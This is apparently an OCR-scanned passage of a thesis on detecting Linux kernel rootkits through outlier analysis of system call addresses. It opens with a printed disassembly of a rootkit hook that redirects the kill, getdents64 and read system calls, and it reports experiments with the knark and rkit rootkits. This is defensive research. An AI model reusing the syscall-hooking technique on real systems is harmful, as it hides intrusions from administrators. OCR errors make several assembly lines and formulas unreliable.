the attacker has furnished alternatives. After handling selected system calls, the attacker
returns control to the normal system call process by pushing address 0xc010410F (the

end of the syscall_call fuction) and returning.

Dump of assembler code from 0xd087bf64 to 0xd087bfaa:

0xd087bT64: nop

0xd087bT65: nop

0xd087bT66: nop

0xd087bf67: nop

0xd087bf68: nop

0xd087bf69: cmp $0x11lc,%eax

0xd087bf6e: Jae 0xd087bf72

0xd087bF70: jmp 0xd087bFf78

0xd087bf72: push  $0xc0104113 <syscall_exit>
0xd087bf77: ret

0xd087bf78: cmp $0x25, %eax

0xd087bf7b: je 0xd087bf8F

0xd087bf7d: cmp $0xdc, %eax

0xd087bT82: je 0xd087bT97

0xd087bf84: cmp $0x3, %eax

0xd087bT87: je 0xd087bTof

0xd087bT89: push $0xc0104108 <syscall_call>
0xd087bf8e: ret

0xd087bf8F: call *0xd087c0al

0xd087bT95: Jjmp 0xd087bfa5

0xd087bT97: call *0xd087c0a8

0xd087b¥9d: jmp 0xd087bfas5

0xd087bT9of: call *0xd087c0Oac

0xd087bfa5: push  $0xc010410Ff <end of syscall_call>
0xd087bfaa: ret

The following code checks to see if the system call is sys_Kkill,
and if it is, redirects the system call to the malicious sys_kill system call that the attacker

has provided at Oxd087bf8T.

0xd087bf78: cmp $0x25,%eax <Check if system call is “kill’>
0xd087bf7b: je 0xd087bf8F <If so, redirect to malicious call>

Next, the attacker again checks to see if the system call is sys_getdents64, and if so,
redirects the system call to the alternative, malicious sys_getdents64 furnished by the

attacker at 0xd087bf97, like so:
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0xd087bf7d: cmp $0xdc ,%eax
0xd087bT82: je 0xd087bT97

Finally, the attacker checks if the system call is sys_read. If it is indeed sys_read, the
calling program is redirected to addresses 0xd087bfof, where a malicious copy of
sys_read awaits.

If necessary, it is possible to further disassemble the malicious system calls.
Furhter investigation may require, for example, that the malcious system calls be

disassembled and analyzed to further enhance existing or future detection techniques.
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CHAPTER IV

ANALYSIS OF THE KERNEL

4.1 Kernel Modifications

In order to debug a running kernel (or any other process) it is necessary to have a
minimum amount of debugging support compiled into the binary. Additional debugging
symbols may be compiled into any binary simply by using a command such as “gcc —g

—0 binary binary.c”. Although full debugging symbols may be compiled into

the Linux kernel, the kernel binary would be huge. In fact, this approach was tested and
the kernel was so large that it would not boot. In practice, additional debugging symbols
do not need to be compiled into a kernel for the analysis necessary in this research.
However, it is necessary that the kernel or binary in question has not been stripped with
the strip command. The strip command removes all debugging symbols from an
object file. During preliminary testing, it was discovered that Debian 3.1 Release 1 with
kernel version 2.4.27 installs with a stripped kernel [38], presumably to save space. It
was necessary to rebuild the kernel in order to have even basic debugging ability for this
research.

As previously mentioned, the Linux operating system may access up to 4
Gigabytes of virtual memory in a default configuration, with memory addresses between

0x00000000 and OXFFFFFFFF in hexadecimal notation. The kernel which will be
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used in this research has had support for 4 Gigabytes of memory removed, and now only
supports up to one Gigabyte of memory. None of the hardware to be used in these
experiments has four Gigabytes of memory, but if statistical outliers may be detected in a
one Gigabyte (or less) memory space, detecting those same outliers in a four Gigabyte
memory space should pose much less of a challenge.

Another tool available for kernel debugging is the Linux kernel debugger (kdb).
Preliminary experiments have shown kdb to be unstable and problematic when used in
conjunction with XWindows. Performance in terminal mode is much better, however
many of the commands covered in the documentation do not appear to be implemented.
It is mentioned here because it required two kernel patches and recompilation of the

kernel to implement.

4.2 Memory Analysis Toolset

Two categories of memory analysis tools were selected for use in this research.
The first category includes but one application, the GNU debugger, or gdb. Gdb is a
source level debugger, and includes facilities for examining memory, disassembly,
attaching to running processes, scripting support, and many other functions. Gdb does
require a minimum set of debugging symbols to be compiled into the binary to be
debugged, but in practice this simply requires that the debugging target must not have
been stripped in order to save space. Debugging a running kernel with gdb requires the
kernel binary (typically /boot/vml inux) and a core file for the running kernel

(typically /proc/kcore). Gdb has proven indispensable in kernel debugging for the
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purpose of rootkit detection, and will be a primary application used in this research [39-
41]

The second category of memory analysis tool consists of the Linux kernel
debugger, kdb. The kernel debugger consists of two kernel patches, and requires that the
kernel be recompiled in order to use kdb. Preliminary experiments have shown kdb to be
unstable, particularly when used in conjunction with XWindows, and a substantial
portion of the commands covered in the kdb documentation do not appear to be
implemented. Further adding to these problems, kdb does not appear to support output
redirection and other Unix command line conveniences, adding to the difficulty of
utilizing it for anything other than a cursory examination of kernel structures and

memory.

4.3 Kernel Symbols

Within the Linux kernel, there are many symbols — functions, variables, and so
on. When the kernel is compiled, a file called /boot/System.map is generated as
part of the compilation process. More specifically, /boot/System._map is generated
using the nm command, such as ‘nm /boot/debug/vmlinux-2.6.8".
The nm command lists symbols from given object files. The form of the output consists
of the symbol value (memory address), symbol type, and symbol type. A typical
system.map file consists of well over twenty thousand entries, but a sample is

provided table 4.1, below.
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Table 4.1: sample system.map file contents

Hex Address Symbol Type System Call
c011b540 T Sys_rt_sigprocmask
c011b610 T do_sigpending
c011b6a0 T sys_rt_sigpending
c011b6b0 T Copy_siginfo_to_user
c011b840 T Sys_rt_sigtimedwait
c0llbaf0 T sys_kill
c011bb50 T sys_tgkill
c011bc30 T sys_tkill
c011bd00 T Sys_rt_sigqueueinfo
c011bd70 T do_sigaction
c011bf20 T do_sigaltstack
c011c060 T sys_sigpending
c011c080 T sys_sigprocmask
c011c180 T sys_rt_sigaction
c011c240 T sys_sgetmask
c011c260 T sys_ssetmask
c011c2a0 T sys_signal

Furthermore, it should be noted that the /boot/System.map file is merely a
text file residing on the filesystem, and may be easily modified by an attacker. If one
wishes to depend on this file for debugging purposes, it should be re-created using the nm
command as explained previously. This file is important in that it is a primary source of
debugging information (system call function names and addresses) used in debugging the
kernel. Additionally, a listing of kernel function symbols may be obtained by issuing the
‘info functions’ command from within the GNU debugger, gdb.

Table 4.1 consists of a symbol value (memory address in hexadecimal format),
symbol type, and symbol name. Symbol value and symbol name are very
straightforward, but symbol type merits additional explaination. There are fifteen
different symbol types that may exist within the kernel [42]. These are:

e "A". The symbol's value is absolute, and will not be changed by further linking.

e "B": The symbol is in the uninitialized data section (known as BSS)
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"C": The symbol is common. Common symbols are uninitialized data. When
linking, multiple common symbols may appear with the same name. If the
symbol is defined anywhere, the common symbols are treated as undefined
references.

"D": The symbol is in the initialized data section.

"G": The symbol is in an initialized data section for small objects. Some object
file formats permit more efficient access to small data objects, such as a global
int variable as opposed to a large global array.

“I'": The symbol is an indirect reference to another symbol. This is a GNU
extension to the a.out object file format which is rarely used.

"N": The symbol is a debugging symbol.

"R": The symbol is in a read only data section.

"S": The symbol is in an uninitialized data section for small objects.

"T": The symbol is in the text (code) section.

"U": The symbol is undefined.

"V": The symbol is a weak object. When a weak defined symbol is linked
with a normal defined symbol, the normal defined symbol is used with no error.
When a weak undefined symbol is linked and the symbol is not defined, the value
of the weak symbol becomes zero with no error.

"W": The symbol is a weak symbol that has not been specifically tagged as a
weak object symbol. When a weak defined symbol is linked with a normal

defined symbol, the normal defined symbol is used with no error. When a weak
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undefined symbol is linked and the symbol is not defined, the value of the

weak symbol becomes zero with no error.

e "-": The symbol is a stabs symbol in an a.out object file. In this case, the next
values printed are the stabs other field, the stabs desc field, and the stab type.

Stabs symbols are used to hold debugging information.

e "?": The symbol type is unknown, or object file format specific.

From looking at the /boot/System.map file (or by re-creating it with the nm
command), we can see that since system call functions are in the text section of the
kernel, they will always have a symbol type of “T”. The system call table, being in the
initialized data section of the kernel, will always have a symbol type of “D”. This

concept is further illustrated in Figures 3.1 and 3.2.

4.4 Linux Kernel Modules

Many linux kernel rootkits take of the form of loadable kernel modules. Linux
kernel developers, perhaps in an attempt to slow the further development of linux kernel
rootkits, have made substantial changes in the way that linux kernel modules are handled
between kernel version 2.4 and kernel version 2.6 [43].

The most significant change to Linux kernel modules in the move from Linux
kernel version 2.4 and Linux kernel version 2.6 is that Linux kernel modules are loaded
much differently. The typical user will not notice any difference with the exception that
the suffix for the Linux kernel module has changed. Programmers use high level tools to
manage the creation of Linux kernel modules, and the interface to these tools has not

changed [43].
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In Linux kernel version 2.4, some program running in user space would interpret
the Linux kernel module file (mymodule.o), link it to the running kernel, and generate a
finished binary image. This program would then pass the binary image to the kernel and
the kernel would simply place it into memory [43].

In Linux kernel version 2.6, it is the kernel that does the linking. Some user space
program passes the contents of the Linux kernel module object file directly to the kernel.
In order to function correctly, the Linux kernel module object image must contain some
additional information. To correctly identify the Linux kernel module object file, the file
is named with suffix ".ko" (“kernel object") instead of ".0". Obviously, there exists an
all new modutils package for use with Linux kernel version 2.6. In this new package,
insmod is a very small program, compared to the insmod command that includes a
fully functional linker in Linux kernel version 2.4 [43].

In Linux kernel version 2.6, the procedure for creating a loadable kernel module
is more involved. In order to create a loadable kernel module in Linux kernel version 2.6,
a programmer starts with a regular object (*.0) file. The programmer would then use the
command modpost on the object (*.0) file in order to create a C source file that
describes the additional sections the loadable kernel module file requires. This file will be
referred to as the .mod file because the suffix of the file is typically ".mod". Next, the
programmer compiles the .mod file and links the result with the original object file (*.0)
to create the final loadable kernel module (*.ko) file [43].

The .mod object file contains the name that the loadable kernel module instance

will have when it is loaded. This name is set with the -D compile option during the
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compilation of the .mod file, which sets the KBUILD_MODNAME macro. This change
complicates some things for the programmer or system administrator [43].

For example, changing the name for the loadable kernel module instance in Linux
kernel version 2.4 could be accomplished by using the “-0” command line option with the
insmod command. However, in Linux kernel module 2.6 there is no such command
line option for the command 1nsmod [43].

The name of the loadable kernel module is part of the object file (*.0) that the
programmer passes to the kernel. The default name is built into the object, but if the
programmer wants to load it with some other name, they must accomplish this by

rebuilding the loadable kernel module before passing it to the command 1nsmod [43].

4.5 Kernel Debugging: Selected Commands
In order to begin debugging the Linux kernel, one may issue several commands at
the operating system level or from a debugger (gdb). Some of these commands, and

accompanying explanations, are shown below [39].

45.1 Operating system commands

/usr/bin/nm Zusr/src/linux-2.4._.27/vmlinux. The file

/boot/System.map contains all of the symbols available in the kernel. However,
this file is only a text file available to anyone with superuser access. As such, it should
not be trusted, and this command will reproduce the contents of this file. The operand,

/usr/src/linux-2.4.27/vmlinux, is created when the administrator completes
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the process of recompiling the Linux kernel. The information _produced by this
command is invaluable for use in debugging the kernel [42].

gdb Zusr/src/linux-2.4_27/vmlinux /proc/kcore.

Furthermore, if the kernel located at Zusr/src/1inux-2.4_27/vmlinux is the
currently running boot kernel, it may be debugged by executing this command. The
command gdb is the GNU debugger, the file Zusr/src/1inux-2_4_.27/vml inux
is the kernel binary, and the file /proc/kcore is an alias for the memory in the

computer .

4.5.2 Debugger Commands

Once the system administrator has issued a debugging command such as
gdb Zusr/src/linux-2.4.27/vmlinux /proc/kcore, itisthen possible
to issue debugger commands and examine the state of the kernel. These commands range
in purpose from printing the contents of the system call table, printing the address of a
given system call, or disassembling system calls [39].

x/252 sys call table. This command simply prints the addresses in the

system call table for Linux kernel version 2.4.27. Once obtained, these addresses can be
analyzed for the presence of outliers using a variety of methods.

p sys read. The “P” debugger command is used to print the address of an
object (system call, variable, etc.) within the kernel. This is useful for checking the

address of kernel components that are commonly attacked.
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disass sys read. The “disassemble” debugger comand simply allows

for the disassembly of kernel functions. This functionality is essential for the detection of
runtime kernel patching rootkits.

info functions. This command outputs the memory address and name of

every exported function within the kernel. This command is particularly valuable, since
runtime kernel patching rootkits may be able to attack any function within the kernel as
well. As such, it is important to obtain a list of all exported kernel functions so that they

may be checked for traces of rootkit infection.

4.5.3 Data Acquisition

Typically, the data analyzed in this research is acquired by issuing debugging
commands from within gdb, the GNU debugger. As explained in detail in section 4.5.2,
the addresses in the system call table may be retrieved using the debugger command
“x/252 sys_call_table™ andis used in detecting the system call table
modification attacks using the general and normal distribution models.

The jump instructions from the individual system calls are obtained by issuing
commands similar to "disass sys_read" which yields the disassembled code for the
entire sys_read system call. As a second step, a small perl program collects the operands
of the jump instructions from this disassembled code. This data is then used to detect the

system call target modification attack using general and normal distribution models.
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CHAPTER V

DETECTING SYSTEM CALL TABLE MODIFICATION ATTACKS

USING GENERAL DISTRIBUTION MODELS

In this chapter the details of detecting the system call table modification attack
will be explored more thorougly. Section 5.1 includes definitions and a formal model,
while section 5.2 includes a necessary discussion regarding different hardware platforms.
An in depth discussion of basic statistical methods used in outlier analysis is presented in
section 5.3. Experimental results from the detection efforts against four different
rootkits, each employing the system call table modification attack, are presented in

section 5.4. Finally, conclusions from this approach are presented in section 5.5.

5.1 Definitions and Formal Model

Definition of an outlier. Anyone who has analyzed several sets of real data has

probably noticed “outliers’. An intuitive definition of an outlier is “an observation which
deviates so much from other observations as to arouse suspiciouns that it was generated
by a different mechanism [44]”. Scrutinizing a sample containing one or more outliers
would show characteristics such as large gaps between “inlying” and “outlying”

observations, and the difference between them as measured by some standardized
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metric [44]. Therefore, the formal definition of an outlier is “an observation that lies
outside the overall pattern of a distribution [45].”

Definition of a discordancy test. Typically, outliers are either accomodated or

rejected. Since the focus of this research is the detection of kernel rootkits, accomodating
their presence would not be appropriate. In this instance, the goal is to reject them or at
least identify them as features of special interest [46]. In the absence of a desire to
accommaodate outliers, statistical tests are needed to determine whether or not an
observation is to be regarded as a member of the main population. These statistical tests
are known as discordancy tests [46].

Definition of a kernel rootkit. A kernel rootkit can be defined as some program

P2, Which mimicks a subset of operating system functionality known as program p.
Therefore, p; is a subset of p,. The functionality that exists in p, but not p1, would be the
additional functionality provided by the kernel rootkit in order to maintain control of a
compromised system, attack other systems, destroy evidence, and decrease the chance of
being detected by system administrators. More formally, the kernel rootkit functionality
can be expressed as p, — p1 = p’ [14].

Kernel rootkits attack the operating system by way of modifying system call
memory addresses. As previously discussed, this is accomplished through the following

mechanisms [14]:

System call table modification — Changes the addresses of the system calls in the system

call table to point to similar, but malicious, system calls located much higher in memory.
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System call table redirection — Modifies the system call handler, changing the address of

the system call table to a similar, but malicious system call table much higher in memory.

System call target modification — Directly modifies the system call instructions (via

runtime kernel patching), inserting a jump instruction to a location much higher in

memory which contains a similar, but malicious, system call.

Clearly, each of these mechanisms adds one successive layer of redirection to a
simple memory redirection attack. We are interested in two related groups of memory
addresses of both kernel rootkit functionality p, and normal kernel functionality p;.

Memory addresses for normal kernel system calls will be represented as Mi(p1)
for all system calls, and M;(py) for the subset of system calls in the system call table.
Memory addresses for system calls modified by rootkit functionality will be represented
as M, (p,) for all system calls, and M,(p,) for the subset of system calls in the system call
table. Burdach [16] has proposed that system call addresses modified by kernel rootkits
can be considered outliers.

The new framework for detecting kernel rootkits through outlier analysis includes
several key features. First, it is necessary to understand the underlying distribution of
system call addresses, at least on a general level. This includes two interrelated groups of
system call addresses: all system call addresses in the kernel, or s1; and system call
addresses only in the system call table, or s,. Therefore, s, is a subset of s;.

Second, both s1 and s, will best fit some known distributions with discordancy test

scores of D; and D,. However, this knowledge will be general, obtained by
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experimentation with many different operating system/architecture pairs. If a kernel
rootkit is present, s1 and s, will be transformed to 51" and s, ’, and D; and D, will be
transformed into some less well fitting values D;’ and D,’. Finally, one discordancy test ¢
will be selected to test for the presence of outliers. In this case, the chosen discordancy
test is the Anderson-Darling goodness of fit test.

Formal Model. The model and approach just described can now be formalized.

The formalized technique is described below.

s; = M(p;) - All sysem call addresses in the uninfected kernel (5.1)
s, = M>(p;) - System call addresses in the uninfected system call table (5.2)
s;” = Mi(p,) - All sysem call addresses in the infected kernel (5.3)
52" = M>(p,) - System call addresses in the infected system call table (5.4)

D; = t(s;) - Discordancy test for all system call addresses in the uninfected kernel (5.5)
D, = t(s,) - Discordancy test for system call table addresses in uninfected kernel (5.6)
D;’ = t(s;’) - Discordancy test for all system call addresses in the infected kernel (5.7)
D,’ = t(s,’) - Discordancy test for system call table addresses in infected kernel  (5.8)

Note that s; and s, are derived from general knowledge in that they are obtained
from experimentation across mutliple operating system/architecture pairs, while s;” and
s,  are obtained from the specific system under study. If D;”> D; or D,” > D, then a
rootkit has been detected.

If a rootkit has been detected, outliers are removed, one at a time, until the
discordancy test returns to close to normal. Note that the location of the outliers is
constrained by operating system mechanics, so we know that outliers are always in the

right hand tail of the distribution.
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Let s5; be the largest (right most) system call address in the kernel, and let sy; be

the largest (right most) system call address in the system call table.

S1”=581" — sy (5.9

S2’ =82" — Sy’ (5.10)
D, =t(s;’) (5.11)
D, = t(s5’) (5.12)

And again, if D;” > D, or D,” > D, then a rootkit has been detected.

Until the kernel rootkit is fully detected — that is, until D;” <= D; and D,’ <= D..

5.2 Hardware Platforms

One consideration that is critical to the success of this research is that the
distribution of system call addresses for a specific kernel version must be very close
across various architectures. This is a necessity if analysis is to occur without additional
a priori knowledge of the specific system under study. Preliminary experiments were
conducted on a 32-bit Intel machine and a 64-bit SPARC machine with different kernel
compilation options in order to test this hypothesis. Tables 5.1 and5.2, below, summarize
the results of these experiments.

Table 5.1: Distribution fits from 32-bit Intel machine, kernel 2.4.27

Distribution AD-Score
Largest Extreme Value 5.228
3-Parameter Gamma 6.244
3-Parameter Loglogistic 7.357
Logistic 7.361
Loglogistic 7.364
Lognormal 7.495
Normal 7.495
3-Parameter Lognormal 7.512
3-Parameter Weibull 11.949
Smallest Extreme Value 11.958
Weibull 11.982
2-Parameter Exponential 82.486
Exponential 116.040
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Table 5.2: Distribution fits from 64-bit SPARC machine, kernel 2.4.27

Distribution AD-Score
Loglogistic 10.596
Largest Extreme Value 11.631
Logistic 11.760
Lognormal 19.104
Gamma 20.411
Normal 23.273
3-Parameter Gamma 25.861
3-Parameter Weibull 31.932
3-Parameter Loglogistic 33.908
Weibull 35.818
3-Parameter Lognormal 36.736

Smallest Extreme Value 40.587
2-Parameter Exponential 52.937
Exponential 101.512

While the largest extreme value distribution best fits the system call table
addresses from the 32-bit Intel machine, it was not the best fit for the system call
addresses for the 64-bit SPARC machine used in preliminary testing. However, largest
extreme value is still a very good fit (a close second) for the SPARC. While many more
observations are necessary to make claims of goodness-of-fit for the system call
addresses for various categories of computers, this result suggests that this may be
possible, especially for machines of different architectures but having the same operating
system and/or kernel version.

Experience has shown that Linux seems to be developed for and works best with
the Intel architecture. Installing, compiling, and loading custom modules with Linux on
SPARC was problematic but was eventually successful [47-49]. Challenges such as this

should be expected and planned for with the inclusion of additional architectures.

5.3 Statistical Methods

There exist many discordancy tests for detecting outliers in univariate data. These

include tests for samples that fit many underlying distributions — gamma, exponential,
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normal, log-normal, truncated exponential, uniform, gumbel, frechet, weibull, pareto,
poisson, and binomial distributions [46]. Experiments show that the data analyzed in this
chapter tends to fit the largest extreme value best. Furthermore, most discordancy tests
require at least an estimate of the number of outliers, and their locations. The purpose of
this research is to identify outliers without a priori knowledge of this kind.

A general and early approach to identifying outliers is to identify the underlying
distribution of the data and identify individuals that deviate from the distribution. This
approach is common in statistics, but does not scale well [50]. Using this approach, two
LKM rootkits were successfully detected. These results are discussed in more detail in
the following section.

The preliminary model in this research utilizes the method mentioned in the
previous paragraph, in conjunction with the Anderson-Darling goodness-of-fit test to
identify individuals that deviate from the underlying distribution. Hawkins suggests the
possibility of using any goodness-of-fit test as the basis for an outlier test, and that any
good candidate for an outlier test would emphasize the quality of fit in the tails — one
such test is the Anderson-Darling goodness-of-fit test [44]. The possibility of using the
Anderson-Darling test as an outlier test does not seem to have been investigated, but was
promising since this statistic is completely general and can be used with any underlying
distribution [44]. This fact alone makes the Anderson-Darling goodness-of-fit test
preferable to any previously mentioned discordancy tests for univariate data.

Distance based approaches to outlier analysis have been investigated by
Ramaswamy et al. [36] and Knorr & Eng [32;35]. These techniques typically explore

some neighborhood and do not rely on the underlying distribution of the data [50]. Knorr
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& Eng identify outliers by counting neighbors within a specified radius, with the radius
and threshold number of points as the only two parameters [50]. Ramaswamy et al.
identify outliers by calculating the sum of the distances to their nearest neighbors [50].
Breunig et al. have investigated a density based technique to score data points using
“local outlier factor”, a measure of outlyingness calculated for each data point [33;34;50].
Jin et al. introduced a method for more efficiently identifying top outliers using the local

outlier factor [37;50].

5.3.1 The Anderson-Darling Goodness of Fit Test

The Anderson-Darling tests if a sample comes from a particular distribution. It is
a modification of the Kolmogorov-Smirnov (K-S) test that gives more weight to the tails
of the distribution than the K-S test. The K-S test is distribution free in the sense that the
critical values do not depend on the specific distribution being tested [51].

The Anderson-Darling test utilizes the specific distribution when calculating
critical values. This approach has the advantage of producing a more sensitive test and
the disadvantage that critical values must be calculated for each distribution. Tables of
critical values are not usually not supplied, since the test itself is applied with a statistical
software program that produces the critical values [51].

The Anderson-Darling test determines whether data comes from a specific
distribution. The formula for the test statistic A to assess if data (this data must be
ordered) comes from a distribution with cumulative distribution function F is
A’=N-S (5.13)

Where:
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5= ;2"7 ~L/N {inF(vid + In(L - F(¥ )] (5.14)

Ho = The data fits the specified distribution.
H; = The data does not fit the specified distribution.
a = Significance level.

The critical values for the Anderson-Darling goodness-of-fit test are dependent on
the specific distribution that is being tested. Values and formulas have been published for
a few particular distributions. The Anderson-Darling goodness-of-fit test is a one-sided
test and the hypothesis that the distribution fits a specific form is rejected if the test
statistic, A, is larger than the critical value [51].

For a given distribution, the Anderson-Darling goodness-of-fit test may be
multiplied by a constant - which typically depends on the sample size. These constants
are presented in various papers by Stephens [44]. This is known as the "adjusted
Anderson-Darling” statistic. This is the metric that should be compared against the
critical values. Different constants (and therefore different critical values) have been
published. It is important to be aware of what constant was used for a given set of critical
values. The necessary constant is typically given with the critical values [51]. A smaller
Anderson—Darling score indicates that the distribution fits the data better.

The Anderson-Darling goodness-of-fit score should be used when critical values
for the underlying distribution have been published or are otherwise available (as in the
use of a statistical software program). These values are available in papers published by

Stephens, and support several well known distributions.
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Additionally, if a test that is sensitive to quality of fit in the tails of the
distribution is desired, the Anderson-Darling goodness-of-fit score should be used. One
notable limitation of the Anderson-Darling test is that it, along with the Kolmogorov-
Smirnov test, are limited to continuous distributions. If the data fit a discrete distribution
closely, such as the binomial distribution, another test such as the Chi-Square goodness-
of-fit test should be used [51].

Since the Anderson-Darling goodness-of-fit score relies upon the calculation of
critical values based on a specific distribution, the test should not be used when working
with some underlying distribution where critical values have not been calculated or are
not otherwise available. Additionally, if the researcher requires a test that is more
sensitive near the center of the distribution than at the tails, another test, such as the
Kolmogorov-Smirnov test, should be used [51].

Sample skewness and kurtosis are typically considered as test statistics used for
testing whether a sample is normal, and the presence of outliers is a way in which the
distribution may depart from normality. This suggests that it is possible to use any
goodness-of-fit test as an outlier test [44].

However, the idea of using the Anderson-Darling as an outlier test doesn’t appear
to have been investigated. It is appealing because the Anderson-Darling goodness-of-fit
test is completely general and may be used for any underlying continuous distribution
Fy(x) (where critical values are available). The Anderson-Darling goodness-of-fit test
also emphasizes the quality of fit in the tails [44].

Why not choose some other goodness-of-fit test? The Anderson-Darling test is an

alternative to the Chi-Square and Kolmogorov-Smirnov (K-S) goodness-of-fit tests.
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The Anderson-Darling goodness-of-fit test is also more sensitive to the quality of fit in
the tails of the distribution than is the Kolmogorov-Smirnov (K-S) goodness-of-fit test,
making it more appropriate for outlier analysis [51].

The Chi-Square goodness-of-fit test must be applied to data that has been
categorized or “binned” [51]. This is not a significant restriction because for non-
categorized data one can simply calculate a histogram or frequency table before applying
the Chi-Square test. However, the result of the Chi-Square test is dependent on how the
data is categorized. The data used in this research doesn’t lend itself well to
categorization, and any categorization would be essentially meaningless. An additional
disadvantage of the Chi-Square test is that it requires a sufficiently large sample size in
order for the test to be valid [51].

One possible procedure for identifying outliers is to conduct a check on the
assumptions in the model. If conducting some analysis assuming normality of data,
various checks would be applied to the data to ensure that the model fits. One possible
test would be a goodness-of-fit test, and this test would need to be sensitive to the fit in
the tails of the true underlying distribution, but not elsewhere. This is true for many other
techniques as well, where high kurtosis and skewness are the most damaging departures
from the model [44].

The use of a goodness-of-fit test should be regarded as a screen — if the data pass,
then the standard analytic procedure will be applied. Otherwise, some other action will
be taken. These actions include, but are not limited to, removing the outliers from the
sample and carrying out the original proposed analysis on the remaining ‘clean’

observations [44].
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5.3.2 Specific Distributions

When working with asymptotic extreme-value distributions, it is important to note
that there are first, second, and third order types, also known as the Gumbel, Frechet, and
Weibull distributions. These distributions are well known as models for extreme
observations such as maximum annual wind speeds, floods, endurance limits in fatigue
testing, annual minimum temperatures, and so on. Each of these distributions has two
forms, each as it relates to the greatest-value or least-value extremes [46].

The Gumbel distribution is known as ‘the extreme-value distribution’ [46]. In the
context of using minitab, the largest extreme value distribution and smallest extreme
value distributions are simply the two forms of the gumbel distribution. The gumbel
distribution is also a special case of the fisher-tippett distribution. The fisher-tippett
distribution is also known as the log-weibull distribution. The gumbel distribution is
used to find the maximum (or minimum) of a number of samples from various
distributions. The gumbel distribution has a cumulative distribution of F(x) = ¢*™ and a
probability density function of F(x) = e*e®™.

A property of the gumbel distribution is that as the standard deviation decreases,
the gumbel distribution’s pdf becomes taller and narrower. Our data has a very small
standard deviation, contributing to the goodness-of-fit for the gumbel distribution.

The gumbel distribution also has a location parameter, which is equal to the
mode, but different than median and mean. This is due to the fact that the gumbel
distribution is not symmetric around it’s location parameter. In the data for this research,

the mode is much closer to the median than it is to the mean. Like the gumbel
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distribution, this means that our data is not symmetric around the location parameter (the
mode), further contributing to the good fit for this distribution.

Two very well fitting distributions for the memory addresses in the system call
table were the largest extreme value and logistic distributions. In figures 5.1 and 5.2, we
can see that largest extreme value fits slightly better than logistic.

Finally, the gumbel distribution is used to find the minimum (or maximum) of a
number of samples from various distributions. It is possible that system call addresses in
even a clean system are generated by more than one underlying distribution, which may

explain why the gumbel distribution may fit so well.
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Figure 5.1: system call table fit vs. largest extreme value (gumbel)
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Figure 5.2: system call table fit vs. next best fitting distribution (logistic)

5.4 Experimental Results

As previously mentioned, there have been several attempts at preventing and
detecting the deployment of rootkits, but they require some form of a priori knowledge
about the specific system under observation. This technique will employ the GNU
debugger and other memory analysis tools, and possibly other techniques, to detect
rootkits, through formal, rigorous analysis of the data.

When a Linux Kernel Module rootkit is installed, several of the entries in the
system call table are changed to unusually large values (indicative of the system call table
modification attack discussed previously). This changes the goodness of fit score for the
largest extreme value distribution — the data is no longer such a good fit. Because of the
Linux memory model and the method of attack, the outliers will be on the extreme right

side of the distribution [16]. If these outliers are eliminated one by one, the distribution
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slowly moves from a score of approximately ninety eight back to very close to the
original score of approximately five.

This new technique is a method for detecting Linux Kernel Module (LKM)
rootkits. These rootkits modify memory addresses in the system call table, which
originally fit the largest extreme value distribution very well; the Anderson-Darling
goodness of fit test yields a score of approximately five. This seems to hold across
multiple architectures; experiments on Intel 32 bit architectures and SPARC 64 bit
architectures yield similar results.

In experiment one, the RKit Linux Kernel Module rootkit version 1.01 was
downloaded and installed on a 32-bit Intel computer running Linux kernel version 2.4.27.
Rkit 1.01 only modifies one entry in the system call table — sys_setuid. Rkit 1.01 was
selected because (a) it is a LKM rootkit, and (b) it attacks only one entry in the system
call table. If only one outlier can be detected using this method, rootkits that attack
several system call table entries may be detected more easily.

From table 5.1, it is known that the test system — a 32-bit Intel computer running
Linux kernel 2.4.27 — has a 252 entry system call table fitting the largest extreme value
distribution with an Anderson-Darling goodness of fit score of 5.228. When rkit 1.01 is
installed, the Anderson-Darling goodness of fit score changes to 98.079. Clearly, an
outlier is present in the form of the sys_setuid system call table entry with a greatly
increased memory address. The sys_setuid system call table entry address was changed
from 0xC01201FO0 (good value) to 0xD0878060. Converted to decimal, these values are
3,222,405,616 and 3,498,541,152 — a difference of 276,135,536 and approximately 8.5%

larger than the original value.
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When one system call table address is modified, the goodness of fit score changes
from 5.228 to 98.079, a change of approximately 1876%. When the modified sys_setuid
memory address is removed from the data, the Anderson-Darling goodness of fit score
for the Largest Extreme Value distribution returns to 4.655 — within 1.09% of the original
score of 5.228. This finding is shown below in table 5.3.

Table 5.3: results of rkit 1.01 experiment

System AD-Score
Clean 5.228
Modified 98.079

Modifications Removed 4.655

In experiment two, the knark Linux Kernel Module rootkit version 2.4.3 was
installed on the same test system — a 32-bit Intel computer running Linux kernel version
2.4.27. Knark is also a Linux Kernel Module rootkit, and attacks nine different memory
addresses in the system call table. Experiment two yields similar results as experiment
one —a 2073% decrease in goodness of fit, then a return to within 0.94% of the original
score when the outlying modified addresses are removed. This finding is summarized

below, in table 5.4.

Table 5.4: results of knark 2.4.3 experiment

System AD-Score
Clean 5.228
Modified 108.379

ModiFfications Removed 4.74

Also in experiment two, as the modified system addresses are removed one by
one, the Anderson-Darling goodness of fit score slowly improves, but does not show a
dramatic or significant improvement until the final outlier is removed. The importance of

this fact lies in the concept of complete detection. Through this method, a rootkit that
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attacks only one system call table address can be successfully detected. Figure 5.3,
below, illustrates this finding. It is possible to not only detect most modified system call

addresses, but all modified system call addresses.
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Figure 5.3: Anderson-Darling score vs. outliers

In experiment three, the sebek data capture toolkit version 2.4 was installed on the
same test system — a 32-bit Intel computer running Linux kernel version 2.4.27. Some
software used in honeypot research, specifically sebek [52], utilizes techniques similar to
those employed by Linux Kernel Module rootkits. Sebek is a suite of data capture tools
designed to capture an attacker’s activities on a high interaction honeypot, without the
attacker becoming aware of this surveillance [52]. One module in the sebek package,
sebek.o, attacks the system calls sys_read, sys_socket, and sys_open using the system call

table modification attack [52]. From the author’s standpoint, researchers employ
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‘honeypot data capture tools’ and attackers employ ‘rootkits’ — in reality, these two tools
appear to be nearly identical in fuction and purpose.

Additionally, Sebek clients exist for both the 2.4 and 2.6 Linux kernels. Now
there is an opportunity to test this detection method on the 2.6 Linux kernel, as well as
with the 2.4 kernel as has been investigated up to this point.

As mentioned previously, the Linux kernel 2.4 system call table best fits the
largest extreme value distribution, with a Anderson-Darling score of 5.228. After
installing the Sebek tool on Linux kernel version 2.4.27, the goodness of fit score for the
largest extreme value distribution changes from 5.228 (‘a good score) to 108.929 (a very
bad score). Indeed, it will be shown that sebek modifies the 2.4.27 system call table in
eight different locations. This is the expected result, and similar to the results in the first
two experiments — a goodness of fit decrease of 2,083% due to what is, essentially, a
rootkit infection. Once these eight outliers are removed, the goodness of fit score returns
to 4.971 — within 05% of the original, uninfected value. Table 5.5, below, summarizes
